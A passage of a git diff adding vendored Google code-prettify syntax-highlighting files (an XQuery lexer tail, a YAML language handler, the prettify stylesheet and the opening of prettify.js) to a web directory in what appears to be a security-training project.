query-from-elements|gml:geospatial-query|gml:circle|gml:box|georss:point|georss:geospatial-query|georss:circle|geo:polygon|geo:point|geo:interior-polygon|geo:geospatial-query-from-elements|geo:geospatial-query|geo:circle|geo:box|fn:zero-or-one|fn:years-from-duration|fn:year-from-dateTime|fn:year-from-date|fn:upper-case|fn:unordered|fn:true|fn:translate|fn:trace|fn:tokenize|fn:timezone-from-time|fn:timezone-from-dateTime|fn:timezone-from-date|fn:sum|fn:subtract-dateTimes-yielding-yearMonthDuration|fn:subtract-dateTimes-yielding-dayTimeDuration|fn:substring-before|fn:substring-after|fn:substring|fn:subsequence|fn:string-to-codepoints|fn:string-pad|fn:string-length|fn:string-join|fn:string|fn:static-base-uri|fn:starts-with|fn:seconds-from-time|fn:seconds-from-duration|fn:seconds-from-dateTime|fn:round-half-to-even|fn:round|fn:root|fn:reverse|fn:resolve-uri|fn:resolve-QName|fn:replace|fn:remove|fn:QName|fn:prefix-from-QName|fn:position|fn:one-or-more|fn:number|fn:not|fn:normalize-unicode|fn:normalize-space|fn:node-name|fn:node-kind|fn:nilled|fn:namespace-uri-from-QName|fn:namespace-uri-for-prefix|fn:namespace-uri|fn:name|fn:months-from-duration|fn:month-from-dateTime|fn:month-from-date|fn:minutes-from-time|fn:minutes-from-duration|fn:minutes-from-dateTime|fn:min|fn:max|fn:matches|fn:lower-case|fn:local-name-from-QName|fn:local-name|fn:last|fn:lang|fn:iri-to-uri|fn:insert-before|fn:index-of|fn:in-scope-prefixes|fn:implicit-timezone|fn:idref|fn:id|fn:hours-from-time|fn:hours-from-duration|fn:hours-from-dateTime|fn:floor|fn:false|fn:expanded-QName|fn:exists|fn:exactly-one|fn:escape-uri|fn:escape-html-uri|fn:error|fn:ends-with|fn:encode-for-uri|fn:empty|fn:document-uri|fn:doc-available|fn:doc|fn:distinct-values|fn:distinct-nodes|fn:default-collation|fn:deep-equal|fn:days-from-duration|fn:day-from-dateTime|fn:day-from-date|fn:data|fn:current-time|fn:current-dateTime|fn:current-date|fn:count|fn:contains|fn:concat|fn:compare|fn:collection|fn:codepoints-to-string|fn:codepoint-equal|fn:ceiling|fn:boolean|fn:base-uri|fn:avg|fn:adjust-time-to-timezone|fn:adjust-dateTime-to-timezone|fn:adjust-date-to-timezone|fn:abs|feed:unsubscribe|feed:subscription|feed:subscribe|feed:request|feed:item|feed:description|excel:clean|entity:enrich|dom:set-pipelines|dom:set-permissions|dom:set-name|dom:set-evaluation-context|dom:set-domain-scope|dom:set-description|dom:remove-pipeline|dom:remove-permissions|dom:remove|dom:get|dom:evaluation-context|dom:domains|dom:domain-scope|dom:create|dom:configuration-set-restart-user|dom:configuration-set-permissions|dom:configuration-set-evaluation-context|dom:configuration-set-default-domain|dom:configuration-get|dom:configuration-create|dom:collection|dom:add-pipeline|dom:add-permissions|dls:retention-rules|dls:retention-rule-remove|dls:retention-rule-insert|dls:retention-rule|dls:purge|dls:node-expand|dls:link-references|dls:link-expand|dls:documents-query|dls:document-versions-query|dls:document-version-uri|dls:document-version-query|dls:document-version-delete|dls:document-version-as-of|dls:document-version|dls:document-update|dls:document-unmanage|dls:document-set-quality|dls:document-set-property|dls:document-set-properties|dls:document-set-permissions|dls:document-set-collections|dls:document-retention-rules|dls:document-remove-properties|dls:document-remove-permissions|dls:document-remove-collections|dls:document-purge|dls:document-manage|dls:document-is-managed|dls:document-insert-and-manage|dls:document-include-query|dls:document-history|dls:document-get-permissions|dls:document-extract-part|dls:document-delete|dls:document-checkout-status|dls:document-checkout|dls:document-checkin|dls:document-add-properties|dls:document-add-permissions|dls:document-add-collections|dls:break-checkout|dls:author-query|dls:as-of-query|dbk:convert|dbg:wait|dbg:value|dbg:stopped|dbg:stop|dbg:step|dbg:status|dbg:stack|dbg:out|dbg:next|dbg:line|dbg:invoke|dbg:function|dbg:finish|dbg:expr|dbg:eval|dbg:disconnect|dbg:detach|dbg:continue|dbg:connect|dbg:clear|dbg:breakpoints|dbg:break|dbg:attached|dbg:attach|cvt:save-converted-documents|cvt:part-uri|cvt:destination-uri|cvt:basepath|cvt:basename|cts:words|cts:word-query-weight|cts:word-query-text|cts:word-query-options|cts:word-query|cts:word-match|cts:walk|cts:uris|cts:uri-match|cts:train|cts:tokenize|cts:thresholds|cts:stem|cts:similar-query-weight|cts:similar-query-nodes|cts:similar-query|cts:shortest-distance|cts:search|cts:score|cts:reverse-query-weight|cts:reverse-query-nodes|cts:reverse-query|cts:remainder|cts:registered-query-weight|cts:registered-query-options|cts:registered-query-ids|cts:registered-query|cts:register|cts:query|cts:quality|cts:properties-query-query|cts:properties-query|cts:polygon-vertices|cts:polygon|cts:point-longitude|cts:point-latitude|cts:point|cts:or-query-queries|cts:or-query|cts:not-query-weight|cts:not-query-query|cts:not-query|cts:near-query-weight|cts:near-query-queries|cts:near-query-options|cts:near-query-distance|cts:near-query|cts:highlight|cts:geospatial-co-occurrences|cts:frequency|cts:fitness|cts:field-words|cts:field-word-query-weight|cts:field-word-query-text|cts:field-word-query-options|cts:field-word-query-field-name|cts:field-word-query|cts:field-word-match|cts:entity-highlight|cts:element-words|cts:element-word-query-weight|cts:element-word-query-text|cts:element-word-query-options|cts:element-word-query-element-name|cts:element-word-query|cts:element-word-match|cts:element-values|cts:element-value-ranges|cts:element-value-query-weight|cts:element-value-query-text|cts:element-value-query-options|cts:element-value-query-element-name|cts:element-value-query|cts:element-value-match|cts:element-value-geospatial-co-occurrences|cts:element-value-co-occurrences|cts:element-range-query-weight|cts:element-range-query-value|cts:element-range-query-options|cts:element-range-query-operator|cts:element-range-query-element-name|cts:element-range-query|cts:element-query-query|cts:element-query-element-name|cts:element-query|cts:element-pair-geospatial-values|cts:element-pair-geospatial-value-match|cts:element-pair-geospatial-query-weight|cts:element-pair-geospatial-query-region|cts:element-pair-geospatial-query-options|cts:element-pair-geospatial-query-longitude-name|cts:element-pair-geospatial-query-latitude-name|cts:element-pair-geospatial-query-element-name|cts:element-pair-geospatial-query|cts:element-pair-geospatial-boxes|cts:element-geospatial-values|cts:element-geospatial-value-match|cts:element-geospatial-query-weight|cts:element-geospatial-query-region|cts:element-geospatial-query-options|cts:element-geospatial-query-element-name|cts:element-geospatial-query|cts:element-geospatial-boxes|cts:element-child-geospatial-values|cts:element-child-geospatial-value-match|cts:element-child-geospatial-query-weight|cts:element-child-geospatial-query-region|cts:element-child-geospatial-query-options|cts:element-child-geospatial-query-element-name|cts:element-child-geospatial-query-child-name|cts:element-child-geospatial-query|cts:element-child-geospatial-boxes|cts:element-attribute-words|cts:element-attribute-word-query-weight|cts:element-attribute-word-query-text|cts:element-attribute-word-query-options|cts:element-attribute-word-query-element-name|cts:element-attribute-word-query-attribute-name|cts:element-attribute-word-query|cts:element-attribute-word-match|cts:element-attribute-values|cts:element-attribute-value-ranges|cts:element-attribute-value-query-weight|cts:element-attribute-value-query-text|cts:element-attribute-value-query-options|cts:element-attribute-value-query-element-name|cts:element-attribute-value-query-attribute-name|cts:element-attribute-value-query|cts:element-attribute-value-match|cts:element-attribute-value-geospatial-co-occurrences|cts:element-attribute-value-co-occurrences|cts:element-attribute-range-query-weight|cts:element-attribute-range-query-value|cts:element-attribute-range-query-options|cts:element-attribute-range-query-operator|cts:element-attribute-range-query-element-name|cts:element-attribute-range-query-attribute-name|cts:element-attribute-range-query|cts:element-attribute-pair-geospatial-values|cts:element-attribute-pair-geospatial-value-match|cts:element-attribute-pair-geospatial-query-weight|cts:element-attribute-pair-geospatial-query-region|cts:element-attribute-pair-geospatial-query-options|cts:element-attribute-pair-geospatial-query-longitude-name|cts:element-attribute-pair-geospatial-query-latitude-name|cts:element-attribute-pair-geospatial-query-element-name|cts:element-attribute-pair-geospatial-query|cts:element-attribute-pair-geospatial-boxes|cts:document-query-uris|cts:document-query|cts:distance|cts:directory-query-uris|cts:directory-query-depth|cts:directory-query|cts:destination|cts:deregister|cts:contains|cts:confidence|cts:collections|cts:collection-query-uris|cts:collection-query|cts:collection-match|cts:classify|cts:circle-radius|cts:circle-center|cts:circle|cts:box-west|cts:box-south|cts:box-north|cts:box-east|cts:box|cts:bearing|cts:arc-intersection|cts:and-query-queries|cts:and-query-options|cts:and-query|cts:and-not-query-positive-query|cts:and-not-query-negative-query|cts:and-not-query|css:get|css:convert|cpf:success|cpf:failure|cpf:document-set-state|cpf:document-set-processing-status|cpf:document-set-last-updated|cpf:document-set-error|cpf:document-get-state|cpf:document-get-processing-status|cpf:document-get-last-updated|cpf:document-get-error|cpf:check-transition|alert:spawn-matching-actions|alert:rule-user-id-query|alert:rule-set-user-id|alert:rule-set-query|alert:rule-set-options|alert:rule-set-name|alert:rule-set-description|alert:rule-set-action|alert:rule-remove|alert:rule-name-query|alert:rule-insert|alert:rule-id-query|alert:rule-get-user-id|alert:rule-get-query|alert:rule-get-options|alert:rule-get-name|alert:rule-get-id|alert:rule-get-description|alert:rule-get-action|alert:rule-action-query|alert:remove-triggers|alert:make-rule|alert:make-log-action|alert:make-config|alert:make-action|alert:invoke-matching-actions|alert:get-my-rules|alert:get-all-rules|alert:get-actions|alert:find-matching-rules|alert:create-triggers|alert:config-set-uri|alert:config-set-trigger-ids|alert:config-set-options|alert:config-set-name|alert:config-set-description|alert:config-set-cpf-domain-names|alert:config-set-cpf-domain-ids|alert:config-insert|alert:config-get-uri|alert:config-get-trigger-ids|alert:config-get-options|alert:config-get-name|alert:config-get-id|alert:config-get-description|alert:config-get-cpf-domain-names|alert:config-get-cpf-domain-ids|alert:config-get|alert:config-delete|alert:action-set-options|alert:action-set-name|alert:action-set-module-root|alert:action-set-module-db|alert:action-set-module|alert:action-set-description|alert:action-remove|alert:action-insert|alert:action-get-options|alert:action-get-name|alert:action-get-module-root|alert:action-get-module-db|alert:action-get-module|alert:action-get-description|zero-or-one|years-from-duration|year-from-dateTime|year-from-date|upper-case|unordered|true|translate|trace|tokenize|timezone-from-time|timezone-from-dateTime|timezone-from-date|sum|subtract-dateTimes-yielding-yearMonthDuration|subtract-dateTimes-yielding-dayTimeDuration|substring-before|substring-after|substring|subsequence|string-to-codepoints|string-pad|string-length|string-join|string|static-base-uri|starts-with|seconds-from-time|seconds-from-duration|seconds-from-dateTime|round-half-to-even|round|root|reverse|resolve-uri|resolve-QName|replace|remove|QName|prefix-from-QName|position|one-or-more|number|not|normalize-unicode|normalize-space|node-name|node-kind|nilled|namespace-uri-from-QName|namespace-uri-for-prefix|namespace-uri|name|months-from-duration|month-from-dateTime|month-from-date|minutes-from-time|minutes-from-duration|minutes-from-dateTime|min|max|matches|lower-case|local-name-from-QName|local-name|last|lang|iri-to-uri|insert-before|index-of|in-scope-prefixes|implicit-timezone|idref|id|hours-from-time|hours-from-duration|hours-from-dateTime|floor|false|expanded-QName|exists|exactly-one|escape-uri|escape-html-uri|error|ends-with|encode-for-uri|empty|document-uri|doc-available|doc|distinct-values|distinct-nodes|default-collation|deep-equal|days-from-duration|day-from-dateTime|day-from-date|data|current-time|current-dateTime|current-date|count|contains|concat|compare|collection|codepoints-to-string|codepoint-equal|ceiling|boolean|base-uri|avg|adjust-time-to-timezone|adjust-dateTime-to-timezone|adjust-date-to-timezone|abs)\b/],
+         // Matching normal words if none of the previous regular expressions matched
+         [PR['PR_PLAIN'], /^[A-Za-z0-9_\-\:]+/],
+         // Matching whitespaces
+         [PR['PR_PLAIN'], /^[\t\n\r \xA0]+/]
+         ]),
+    ['xq', 'xquery']);
+})();
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-yaml.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-yaml.js
new file mode 100644
index 000000000..5a7db4094
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-yaml.js
@@ -0,0 +1,45 @@
+/**
+ * @license
+ * Copyright (C) 2015 ribrdb @ code.google.com
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+// Contributed by ribrdb @ code.google.com
+
+/**
+ * @fileoverview
+ * Registers a language handler for YAML.
+ *
+ * @author ribrdb
+ */
+
+PR['registerLangHandler'](
+  PR['createSimpleLexer'](
+    [
+      [PR['PR_PUNCTUATION'], /^[:|>?]+/, null, ':|>?'],
+      [PR['PR_DECLARATION'],  /^%(?:YAML|TAG)[^#\r\n]+/, null, '%'],
+      [PR['PR_TYPE'], /^[&]\S+/, null, '&'],
+      [PR['PR_TYPE'], /^!\S*/, null, '!'],
+      [PR['PR_STRING'], /^"(?:[^\\"]|\\.)*(?:"|$)/, null, '"'],
+      [PR['PR_STRING'], /^'(?:[^']|'')*(?:'|$)/, null, "'"],
+      [PR['PR_COMMENT'], /^#[^\r\n]*/, null, '#'],
+      [PR['PR_PLAIN'], /^\s+/, null, ' \t\r\n']
+    ],
+    [
+      [PR['PR_DECLARATION'], /^(?:---|\.\.\.)(?:[\r\n]|$)/],
+      [PR['PR_PUNCTUATION'], /^-/],
+      [PR['PR_KEYWORD'], /^[\w-]+:[ \r\n]/],
+      [PR['PR_PLAIN'], /^\w+/]
+    ]), ['yaml', 'yml']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/prettify.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/prettify.css
new file mode 100644
index 000000000..f581ffacf
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/prettify.css
@@ -0,0 +1,70 @@
+/**
+ * @license
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Pretty printing styles. Used with prettify.js. */
+
+
+/* SPAN elements with the classes below are added by prettyprint. */
+.pln { color: #000 }  /* plain text */
+
+@media screen {
+  .str { color: #080 }  /* string content */
+  .kwd { color: #008 }  /* a keyword */
+  .com { color: #800 }  /* a comment */
+  .typ { color: #606 }  /* a type name */
+  .lit { color: #066 }  /* a literal value */
+  /* punctuation, lisp open bracket, lisp close bracket */
+  .pun, .opn, .clo { color: #660 }
+  .tag { color: #008 }  /* a markup tag name */
+  .atn { color: #606 }  /* a markup attribute name */
+  .atv { color: #080 }  /* a markup attribute value */
+  .dec, .var { color: #606 }  /* a declaration; a variable name */
+  .fun { color: red }  /* a function name */
+}
+
+/* Use higher contrast and text-weight for printable form. */
+@media print, projection {
+  .str { color: #060 }
+  .kwd { color: #006; font-weight: bold }
+  .com { color: #600; font-style: italic }
+  .typ { color: #404; font-weight: bold }
+  .lit { color: #044 }
+  .pun, .opn, .clo { color: #440 }
+  .tag { color: #006; font-weight: bold }
+  .atn { color: #404 }
+  .atv { color: #060 }
+}
+
+/* Put a border around prettyprinted code snippets. */
+pre.prettyprint { padding: 2px; border: 1px solid #888 }
+
+/* Specify class=linenums on a pre to get line numbering */
+ol.linenums { margin-top: 0; margin-bottom: 0 } /* IE indents via margin-left */
+li.L0,
+li.L1,
+li.L2,
+li.L3,
+li.L5,
+li.L6,
+li.L7,
+li.L8 { list-style-type: none }
+/* Alternate shading for lines */
+li.L1,
+li.L3,
+li.L5,
+li.L7,
+li.L9 { background: #eee }
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/prettify.js
new file mode 100644
index 000000000..39c1e2f80
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/prettify.js
@@ -0,0 +1,1742 @@
+/**
+ * @license
+ * Copyright (C) 2006 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * some functions for browser-side pretty printing of code contained in html.
+ *
+ * <p>
+ * For a fairly comprehensive set of languages see the
+ * <a href="https://github.com/google/code-prettify#for-which-languages-does-it-work">README</a>
+ * file that came with this source.  At a minimum, the lexer should work on a
+ * number of languages including C and friends, Java, Python, Bash, SQL, HTML,
+ * XML, CSS, Javascript, and Makefiles.  It works passably on Ruby, PHP and Awk
+ * and a subset of Perl, but, because of commenting conventions, doesn't work on
+ * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class.
+ * <p>
+ * Usage: <ol>
+ * <li> include this source file in an html page via
+ *   {@code <script type="text/javascript" src="/path/to/prettify.js"></script>}
+ * <li> define style rules.  See the example page for examples.
+ * <li> mark the {@code <pre>} and {@code <code>} tags in your source with
+ *    {@code class=prettyprint.}
+ *    You can also use the (html deprecated) {@code <xmp>} tag, but the pretty
+ *    printer needs to do more substantial DOM manipulations to support that, so
+ *    some css styles may not be preserved.
+ * </ol>
+ * That's it.  I wanted to keep the API as simple as possible, so there's no
+ * need to specify which language the code is in, but if you wish, you can add
+ * another class to the {@code <pre>} or {@code <code>} element to specify the
+ * language, as in {@code <pre class="prettyprint lang-java">}.  Any class that
+ * starts with "lang-" followed by a file extension, specifies the file type.
+ * See the "lang-*.js" files in this directory for code that implements
+ * per-language file handlers.
+ * <p>
+ * Change log:<br>
+ * cbeust, 2006/08/22
+ * <blockquote>
+ *   Java annotations (start with "@") are now captured as literals ("lit")
+ * </blockquote>
+ * @requires console
+ */
+
+// JSLint declarations
+/*global console, document, navigator, setTimeout, window, define */
+
+
+/**
+* @typedef {!Array.<number|string>}
+* Alternating indices and the decorations that should be inserted there.
+* The indices are monotonically increasing.
+*/
+var DecorationsT;
+
+/**
+* @typedef {!{
+*   sourceNode: !Element,
+*   pre: !(number|boolean),
+*   langExtension: ?string,
+*   numberLines: ?(number|boolean),
+*   sourceCode: ?string,
+*   spans: ?(Array.<number|Node>),
+*   basePos: ?number,
+*   decorations: ?DecorationsT
+* }}
+* <dl>
+*  <dt>sourceNode<dd>the element containing the source
+*  <dt>sourceCode<dd>source as plain text
+*  <dt>pre<dd>truthy if white-space in text nodes
+*     should be considered significant.
+*  <dt>spans<dd> alternating span start indices into source
+*     and the text node or element (e.g. {@code <BR>}) corresponding to that
+*     span.
+*  <dt>decorations<dd>an array of style classes preceded
+*     by the position at which they start in job.sourceCode in order
+*  <dt>basePos<dd>integer position of this.sourceCode in the larger chunk of
+*     source.
+* </dl>
+*/
+var JobT;
+
+/**
+* @typedef {!{
+*   sourceCode: string,
+*   spans: !(Array.<number|Node>)
+* }}
+* <dl>
+*  <dt>sourceCode<dd>source as plain text
+*  <dt>spans<dd> alternating span start indices into source
+*     and the text node or element (e.g. {@code <BR>}) corresponding to that
+*     span.
+* </dl>
+*/
+var SourceSpansT;
+
+/** @define {boolean} */
+var IN_GLOBAL_SCOPE = false;
+
+var HACK_TO_FIX_JS_INCLUDE_PL;
+
+/**
+ * {@type !{
+ *   'createSimpleLexer': function (Array, Array): (function (JobT)),
+ *   'registerLangHandler': function (function (JobT), Array.<string>),
+ *   'PR_ATTRIB_NAME': string,
+ *   'PR_ATTRIB_NAME': string,
+ *   'PR_ATTRIB_VALUE': string,
+ *   'PR_COMMENT': string,
+ *   'PR_DECLARATION': string,
+ *   'PR_KEYWORD': string,
+ *   'PR_LITERAL': string,
+ *   'PR_NOCODE': string,
+ *   'PR_PLAIN': string,
+ *   'PR_PUNCTUATION': string,
+ *   'PR_SOURCE': string,
+ *   'PR_STRING': string,
+ *   'PR_TAG': string,
+ *   'PR_TYPE': string,
+ *   'prettyPrintOne': function (string, string, number|boolean),
+ *   'prettyPrint': function (?function, ?(HTMLElement|HTMLDocument))
+ * }}
+ * @const
+ */
+var PR;
+
+/**
+ * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
+ * UI events.
+ * If set to {@code false}, {@code prettyPrint()} is synchronous.
+ */
+window['PR_SHOULD_USE_CONTINUATION'] = true;
+
+/**
+ * Pretty print a chunk of code.
+ * @param {string} sourceCodeHtml The HTML to pretty print.
+ * @param {string} opt_langExtension The language name to use.
+ *     Typically, a filename extension like 'cpp' or 'java'.
+ * @param {number|boolean} opt_numberLines True to number lines,
+ *     or the 1-indexed number of the first line in sourceCodeHtml.
+ * @return {string} code as html, but prettier
+ */
+var prettyPrintOne;
+/**
+ * Find all the {@code <pre>} and {@code <code>} tags in the DOM with
+ * {@code class=prettyprint} and prettify them.
+ *
+ * @param {Function} opt_whenDone called when prettifying is done.
+ * @param {HTMLElement|HTMLDocument} opt_root an element or document
+ *   containing all the elements to pretty print.
+ *   Defaults to {@code document.body}.
+ */
+var prettyPrint;
+
+
+(function () {
+  var win = window;
+  // Keyword lists for various languages.
+  // We use things that coerce to strings to make them compact when minified
+  // and to defeat aggressive optimizers that fold large string constants.
+  var FLOW_CONTROL_KEYWORDS = ["break,continue,do,else,for,if,return,while"];
+  var C_KEYWORDS = [FLOW_CONTROL_KEYWORDS,"auto,case,char,const,default," +
+      "double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed," +
+      "sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"];
+  var COMMON_KEYWORDS = [C_KEYWORDS,"catch,class,delete,false,import," +
+      "new,operator,private,protected,public,this,throw,true,try,typeof"];
+  var CPP_KEYWORDS = [COMMON_KEYWORDS,"alignas,alignof,align_union,asm,axiom,bool," +
+      "concept,concept_map,const_cast,constexpr,decltype,delegate," +
+      "dynamic_cast,explicit,export,friend,generic,late_check," +
+      "mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert," +
+      "static_cast,template,typeid,typename,using,virtual,where"];
+  var JAVA_KEYWORDS = [COMMON_KEYWORDS,
+      "abstract,assert,boolean,byte,extends,finally,final,implements,import," +
+      "instanceof,interface,null,native,package,strictfp,super,synchronized," +
+      "throws,transient"];
+  var CSHARP_KEYWORDS = [COMMON_KEYWORDS,
+      "abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending," +
+      "dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface," +
+      "internal,into,is,join,let,lock,null,object,out,override,orderby,params," +
+      "partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong," +
+      "unchecked,unsafe,ushort,value,var,virtual,where,yield"];
+  var COFFEE_KEYWORDS = "all,and,by,catch,class,else,extends,false,finally," +
+      "for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then," +
+      "throw,true,try,unless,until,when,while,yes";
+  var JSCRIPT_KEYWORDS = [COMMON_KEYWORDS,
+      "abstract,async,await,constructor,debugger,enum,eval,export,function," +
+      "get,implements,instanceof,interface,let,null,set,undefined,var,with," +
+      "yield,Infinity,NaN"];
+  var PERL_KEYWORDS = "caller,delete,die,do,dump,elsif,eval,exit,foreach,for," +
+      "goto,if,import,last,local,my,next,no,our,print,package,redo,require," +
+      "sub,undef,unless,until,use,wantarray,while,BEGIN,END";
+  var PYTHON_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "and,as,assert,class,def,del," +
+      "elif,except,exec,finally,from,global,import,in,is,lambda," +
+      "nonlocal,not,or,pass,print,raise,try,with,yield," +
+      "False,True,None"];
+  var RUBY_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "alias,and,begin,case,class," +
+      "def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo," +
+      "rescue,retry,self,super,then,true,undef,unless,until,when,yield," +
+      "BEGIN,END"];
+  var SH_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "case,done,elif,esac,eval,fi," +
+      "function,in,local,set,then,until"];
+  var ALL_KEYWORDS = [
+      CPP_KEYWORDS, CSHARP_KEYWORDS, JAVA_KEYWORDS, JSCRIPT_KEYWORDS,
+      PERL_KEYWORDS, PYTHON_KEYWORDS, RUBY_KEYWORDS, SH_KEYWORDS];
+  var C_TYPES = /^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/;
+
+  // token style names.  correspond to css classes
+  /**
+   * token style for a string literal
+   * @const
+   */
+  var PR_STRING = 'str';
+  /**
+   * token style for a keyword
+   * @const
+   */
+  var PR_KEYWORD = 'kwd';
+  /**
+   * token style for a comment
+   * @const
+   */
+  var PR_COMMENT = 'com';
+  /**
+   * token style for a type
+   * @const
+   */
+  var PR_TYPE = 'typ';
+  /**
+   * token style for a literal value.  e.g. 1, null, true.
+   * @const
+   */
+  var PR_LITERAL = 'lit';
+  /**
+   * token style for a punctuation string.
+   * @const
+   */
+  var PR_PUNCTUATION = 'pun';
+  /**
+   * token style for plain text.
+   * @const
+   */
+  var PR_PLAIN = 'pln';
+
+  /**
+   * token style for an sgml tag.
+   * @const
+   */
+  var PR_TAG = 'tag';
+  /**
+   * token style for a markup declaration such as a DOCTYPE.
+   * @const
+   */
+  var PR_DECLARATION = 'dec';
+  /**
+   * token style for embedded source.
+   * @const
+   */
+  var PR_SOURCE = 'src';
+  /**
+   * token style for an sgml attribute name.
+   * @const
+   */
+  var PR_ATTRIB_NAME = 'atn';
+  /**
+   * token style for an sgml attribute value.
+   * @const
+   */
+  var PR_ATTRIB_VALUE = 'atv';
+
+  /**
+   * A class that indicates a section of markup that is not code, e.g. to allow
+   * embedding of line numbers within code listings.
+   * @const
+   */
+  var PR_NOCODE = 'nocode';
+
+  
+  
+  /**
+   * A set of tokens that can precede a regular expression literal in
+   * javascript
+   * http://web.archive.org/web/20070717142515/http://www.mozilla.org/js/language/js20/rationale/syntax.html
+   * has the full list, but I've removed ones that might be problematic when
+   * seen in languages that don't support regular expression literals.
+   *
+   * <p>Specifically, I've removed any keywords that can't precede a regexp
+   * literal in a syntactically legal javascript program, and I've removed the
+   * "in" keyword since it's not a keyword in many languages, and might be used
+   * as a count of inches.
+   *
+   * <p>The link above does not accurately describe EcmaScript rules since
+   * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
+   * very well in practice.
+   *
+   * @private
+   * @const
+   */
+  var REGEXP_PRECEDER_PATTERN = '(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<<?=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*';
+  
+  // CAVEAT: this does not properly handle the case where a regular
+  // expression immediately follows another since a regular expression may
+  // have flags for case-sensitivity and the like.  Having regexp tokens
+  // adjacent is not valid in any language I'm aware of, so I'm punting.
+  // TODO: maybe style special characters inside a regexp as punctuation.
+
+  /**
+   * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
+   * matches the union of the sets of strings matched by the input RegExp.
+   * Since it matches globally, if the input strings have a start-of-input
+   * anchor (/^.../), it is ignored for the purposes of unioning.
+   * @param {Array.<RegExp>} regexs non multiline, non-global regexs.
+   * @return {RegExp} a global regex.
+   */
+  function combinePrefixPatterns(regexs) {
+    var capturedGroupIndex = 0;
+  
+    var needToFoldCase = false;
+    var ignoreCase = false;
+    for (var i = 0, n = regexs.length; i < n; ++i) {
+      var regex = regexs[i];
+      if (regex.ignoreCase) {
+        ignoreCase = true;
+      } else if (/[a-z]/i.test(regex.source.replace(
+                     /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
+        needToFoldCase = true;
+        ignoreCase = false;
+        break;
+      }
+    }
+  
+    var escapeCharToCodeUnit = {
+      'b': 8,
+      't': 9,
+      'n': 0xa,
+      'v': 0xb,
+      'f': 0xc,
+      'r': 0xd
+    };
+  
+    function decodeEscape(charsetPart) {
+      var cc0 = charsetPart.charCodeAt(0);
+      if (cc0 !== 92 /* \\ */) {
+        return cc0;
+      }
+      var c1 = charsetPart.charAt(1);
+      cc0 = escapeCharToCodeUnit[c1];
+      if (cc0) {
+        return cc0;
+      } else if ('0' <= c1 && c1 <= '7') {
+        return parseInt(charsetPart.substring(1), 8);
+      } else if (c1 === 'u' || c1 === 'x') {
+        return parseInt(charsetPart.substring(2), 16);
+      } else {
+        return charsetPart.charCodeAt(1);
+      }
+    }
+  
+    function encodeEscape(charCode) {
+      if (charCode < 0x20) {
+        return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
+      }
+      var ch = String.fromCharCode(charCode);
+      return (ch === '\\' || ch === '-' || ch === ']' || ch === '^')
+          ? "\\" + ch : ch;
+    }
+  
+    function caseFoldCharset(charSet) {
+      var charsetParts = charSet.substring(1, charSet.length - 1).match(
+          new RegExp(
+              '\\\\u[0-9A-Fa-f]{4}'
+              + '|\\\\x[0-9A-Fa-f]{2}'
+              + '|\\\\[0-3][0-7]{0,2}'
+              + '|\\\\[0-7]{1,2}'
+              + '|\\\\[\\s\\S]'
+              + '|-'
+              + '|[^-\\\\]',
+              'g'));
+      var ranges = [];
+      var inverse = charsetParts[0] === '^';
+  
+      var out = ['['];
